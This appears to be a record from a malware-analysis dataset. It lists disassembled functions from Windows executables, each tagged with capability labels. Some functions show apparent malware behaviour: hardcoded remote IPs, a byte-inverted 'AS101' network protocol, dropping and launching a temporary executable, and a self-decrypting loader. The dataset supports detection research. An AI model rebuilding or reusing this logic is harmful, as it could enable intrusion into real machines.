joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40260a
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
xor esi, esi
lea eax, [ebp - 0x246]
push esi
push eax
call fcn.004152d0
add esp, 0xc
lea eax, [ebp - 0x3d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x436488
call fcn.004019f3
pop ecx
push 2
pop ebx
test eax, eax
jne 0x402725
push 0x3a
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push esi
push eax
call fcn.004152d0
add esp, 0xc
lea edi, [ebp - 0x40]
call fcn.004027b7
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436630], cx
add eax, ebx
cmp cx, si
jne 0x402687
push str.218.54.31.165
push 0x40
push 0x43648c
call fcn.00412f74
add esp, 0xc
push 0x51
pop eax
push str.AAAA
push 0x10
push 0x43650e
mov word [0x43650c], ax
call fcn.00412f74
add esp, 0xc
push 0x42b7d4
push 0x40
push 0x43652e
call fcn.00412f74
mov eax, 0x2b66
add esp, 0xc
mov word [0x4365ae], ax
xor eax, eax
movzx ecx, word [ebp + eax - 0x40]
mov word [eax + 0x436610], cx
add eax, ebx
cmp cx, si
jne 0x4026ec
mov edi, 0x436610
dec edi
dec edi
mov ax, word [edi + 2]
add edi, ebx
cmp ax, si
jne 0x402706
mov esi, 0x42b958
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [0x436650], 5
xor esi, esi
call fcn.00402845
lea edi, [ebp - 0x248]
call fcn.004027b7
xor eax, eax
movzx ecx, word [ebp + eax - 0x248]
mov word [eax + 0x4368c0], cx
add eax, ebx
cmp cx, si
jne 0x402737
mov edi, 0x4368c0
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x40276e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4027a8
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x40276a
mov ebx, 0x436940
call fcn.00402a2c
mov eax, dword [0x436654]
push esi
push esi
push esi
push 0x402ea2
push esi
push esi
mov dword [0x436948], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x433038], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
leave
ret
Function at 0x4030ba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push dword [ebp + 8]
mov dword [ebp - 0x430], ecx
call fcn.0040322b
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x40321f
push ebx
push esi
push edi
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.004152d0
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.004152d0
lea edi, [ebp - 0x220]
call fcn.00402fa1
push 0x42b8c8
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00412ef7
mov byte [ebp - 0x18], 0
add esp, 0x24
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x435b70
cmp word [ebx], 0
je 0x4031ac
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412f74
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00412ef7
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x18]
call fcn.00405526
add esp, 0x1c
test eax, eax
je 0x4031ac
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
mov esi, 0x104
jne 0x4031ac
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x4360e8
jl 0x403154
mov edi, 0x435b70
cmp word [edi], 0
je 0x4031d7
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x430]
call fcn.004039af
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x4360e8
jl 0x4031bf
push 0x436b40
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00412ef7
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x403219
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00412ee8
leave
ret
Function at 0x403402
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x804]
cmp ecx, ebx
je 0x403424
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9a4]
push eax
push 0x101
mov dword [ebp - 0x9a8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40344c
xor eax, eax
jmp 0x4034de
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403445
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40348c
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9a8], eax
push 4
lea eax, [ebp - 0x9a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x4034cd
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x810], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x814], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x812], ax
push 0x10
lea eax, [ebp - 0x814]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4034cd
xor ebx, ebx
inc ebx
jmp 0x4034dc
mov eax, dword [esi]
test eax, eax
je 0x4034dc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00412ee8
leave
ret

Function at 0x403617
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403694
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x40363e
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403632
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00408ab7
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00419d90
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403697
cmp eax, dword [ebp - 4]
jne 0x403697
mov dword [ebp - 8], 1
jmp 0x403697
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4036a2
push ebx
call fcn.00408aac
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x40383b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x403879
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x403997
cmp edi, ebx
je 0x403997
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.004152d0
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403997
cmp eax, ebx
je 0x403997
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00408ab7
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x403982
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x403960
test eax, eax
je 0x403960
add ebx, eax
cmp edi, ebx
jg 0x4038e8
push 5
pop ecx
cmp ebx, ecx
jl 0x403982
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403982
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x403940
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x40393a
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x403968
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00419d90
mov dword [esi], ebx
jmp 0x403975
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403982
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00419d90
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x403997
push dword [ebp - 0x860]
call fcn.00408aac
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
add ebp, 0x70
leave
ret
Function at 0x403edd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x89
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x403f41
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00408ab7
push esi
mov edi, eax
push 0
push edi
call fcn.004152d0
push esi
push ebx
push edi
call fcn.00419d90
add esp, 0x1c
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret

Function at 0x403f47
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403f70
push dword [ebp + 8]
call fcn.00403fe7
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x403f70
inc ebx
jmp 0x403fe0
mov edi, 0x200000
push edi
call fcn.00413dfc
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.0040403c
add esp, 0xc
test eax, eax
je 0x403fd9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00412fe3
pop ecx
push 0x32
mov eax, 0xc8
call fcn.00402228
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.0040244f
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.004040aa
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00414357
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x403fe7
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push closesocket
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x404016
mov edx, esi
jmp 0x404035
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x40402c
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4041a7
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x431c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x4361b0
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x4360e8
push ebx
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00404366
mov eax, dword [ebp + 0x10]
mov edx, 0x436280
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4041f7
call section..text
push 0x7d0
mov dword [0x432fbc], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040109c
test eax, eax
je 0x404230
call fcn.00402491
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor esi, esi
push esi
push edi
push esi
push esi
push esi
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x4361b0
push ebx
push esi
mov dword [0x436278], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404264
call fcn.0040260a
cmp eax, esi
jne 0x40427d
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00412ee8
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.004152d0
mov ecx, dword [0x436788]
add esp, 0xc
cmp ecx, esi
jbe 0x4042c2
cmp word [0x43678c], si
jbe 0x4042c2
mov esi, str.218.54.31.226
call fcn.00402f3d
mov ax, word [0x43678c]
mov word [0x432fb0], ax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov edi, ecx
div edi
xor edx, edx
mov ebx, 0x436b40
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.004044b2
add esp, 0xc
call fcn.00402ffb
lea edi, [esp + 0x10]
call fcn.00402fa1
push 0x42b8c8
mov edi, 0x104
lea eax, [esp + 0x14]
push edi
push eax
call fcn.00412ef7
add esp, 0xc
push ebx
lea eax, [esp + 0x14]
push edi
push eax
call fcn.00412ef7
add esp, 0xc
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404350
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
push 0x42b7a0
lea eax, [esp + 0x1c]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403c8d
push esi
jmp 0x40422a

Function at 0x405392
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x4222bf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00417a80
and dword [ebp - 4], 0
cmp dword [0x435ac4], 0
mov ebx, eax
jne 0x422370
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422421
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x422421
push eax
call fcn.00417a0e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x435ac4], eax
call esi
push eax
call fcn.00417a0e
mov dword [esp], 0x42a684
push edi
mov dword [0x435ac8], eax
call esi
push eax
call fcn.00417a0e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x435acc], eax
call esi
push eax
call fcn.00417a0e
pop ecx
mov dword [0x435ad4], eax
test eax, eax
je 0x422370
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00417a0e
pop ecx
mov dword [0x435ad0], eax
mov eax, dword [0x435ad0]
cmp eax, ebx
je 0x4223c8
cmp dword [0x435ad4], ebx
je 0x4223c8
push eax
call fcn.00417a89
push dword [0x435ad4]
mov esi, eax
call fcn.00417a89
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4223c8
test edi, edi
je 0x4223c8
call esi
test eax, eax
je 0x4223bf
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4223bf
test byte [ebp - 0xc], 1
jne 0x4223c8
or dword [ebp + 0x10], 0x200000
jmp 0x422401
mov eax, dword [0x435ac8]
cmp eax, ebx
je 0x422401
push eax
call fcn.00417a89
pop ecx
test eax, eax
je 0x422401
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422401
mov eax, dword [0x435acc]
cmp eax, ebx
je 0x422401
push eax
call fcn.00417a89
pop ecx
test eax, eax
je 0x422401
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x435ac4]
call fcn.00417a89
pop ecx
test eax, eax
je 0x422421
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422423
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409b38
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x409b47
pop dword [ebp - 0x1c]
mov eax, 0x3197518f
add eax, 0xcea949b8
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x2e71e43a
add dword [ebp - 0x2c], 0x1fe06111
mov dword [ebp - 0x28], 0xbf492a10
add dword [ebp - 0x28], 0x72ea2235
mov dword [ebp - 0x24], 0xb2e74c66
add dword [ebp - 0x24], 0x9964f7c8
mov dword [ebp - 0x20], 0x687b128c
sub dword [ebp - 0x20], 0x687b128c
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xde4f75c
sub eax, 0xda42708
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xf6f7cb7f
add dword [ebp - 0x2c], 0x7d7a9dd7
mov dword [ebp - 0x28], 0xd4231bd
add dword [ebp - 0x28], 0x342a2fb8
mov dword [ebp - 0x24], 0x65a5adbf
sub dword [ebp - 0x24], 0x2364153
mov dword [ebp - 0x20], 0x6f082a7e
add dword [ebp - 0x20], 0x90f7d582
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x393a6
push 0
call eax
mov ecx, 0x65e17770
add ecx, 0x9a1ecf4e
mov ebx, eax
mov esi, 0x41b000
add esi, dword [ebp - 0x1c]
mov edi, 0x4d044496
add edi, 0x99721466
sub dword [ebp - 0x14], ebx
mov edx, dword [esi]
xor dword [ebp - 4], 0x7aa5f101
sub edx, edi
add dword [ebp - 0x10], esi
mov dword [ebx], edx
add dword [ebp - 0xc], edx
add ebx, 0xdbc93cf1
sub ebx, 0xdbc93ced
add esi, 0x5c8225f4
sub esi, 0x5c8225f0
loop 0x409c5e
add eax, 0x10dcb
mov ebx, eax
add eax, 5
mov ecx, 0x9faf9d25
add ecx, 0x609062db
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x4175e0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x492bfb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004854bf
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x417662
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00482e9d
mov eax, dword [eax]
push 0x595224
push eax
call fcn.004757f4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048574a
test bl, bl
je 0x417662
push 0x595224
lea ecx, [esp + 0xc]
call fcn.00485b26
push 0x598d9c
lea ecx, [esp + 0xc]
call fcn.00485b26
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41769e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048574a
jmp 0x417769
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x417722
lea edx, [esp + 0x7c]
push 0x598d98
push edx
call fcn.004757f4
add esp, 8
test eax, eax
je 0x417722
lea eax, [esp + 0x7c]
push 0x598d94
push eax
call fcn.004757f4
add esp, 8
test eax, eax
je 0x417722
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4176b2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048574a
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x417f60
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x417fc2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x417fd0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x492c7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5a9de8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x418108
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x418036
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048574a
xor eax, eax
jmp 0x41817f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004858d3
push esi
lea ecx, [esp + 0xc]
call fcn.00485b62
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41815d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.00417f60
test eax, eax
jne 0x41815d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.00417f60
test eax, eax
jne 0x41815d
lea eax, [esp + 0x14]
push 0x598db0
push eax
call fcn.004768d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41813c
lea ecx, [esp + 0x14]
push 0x598dac
push ecx
call fcn.00476850
mov esi, eax
add esp, 8
test esi, esi
jne 0x41813c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41813f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00485883
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41804e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048574a
xor eax, eax
jmp 0x41817f
mov byte [esi], 0
push 0x598da8
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048574a
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4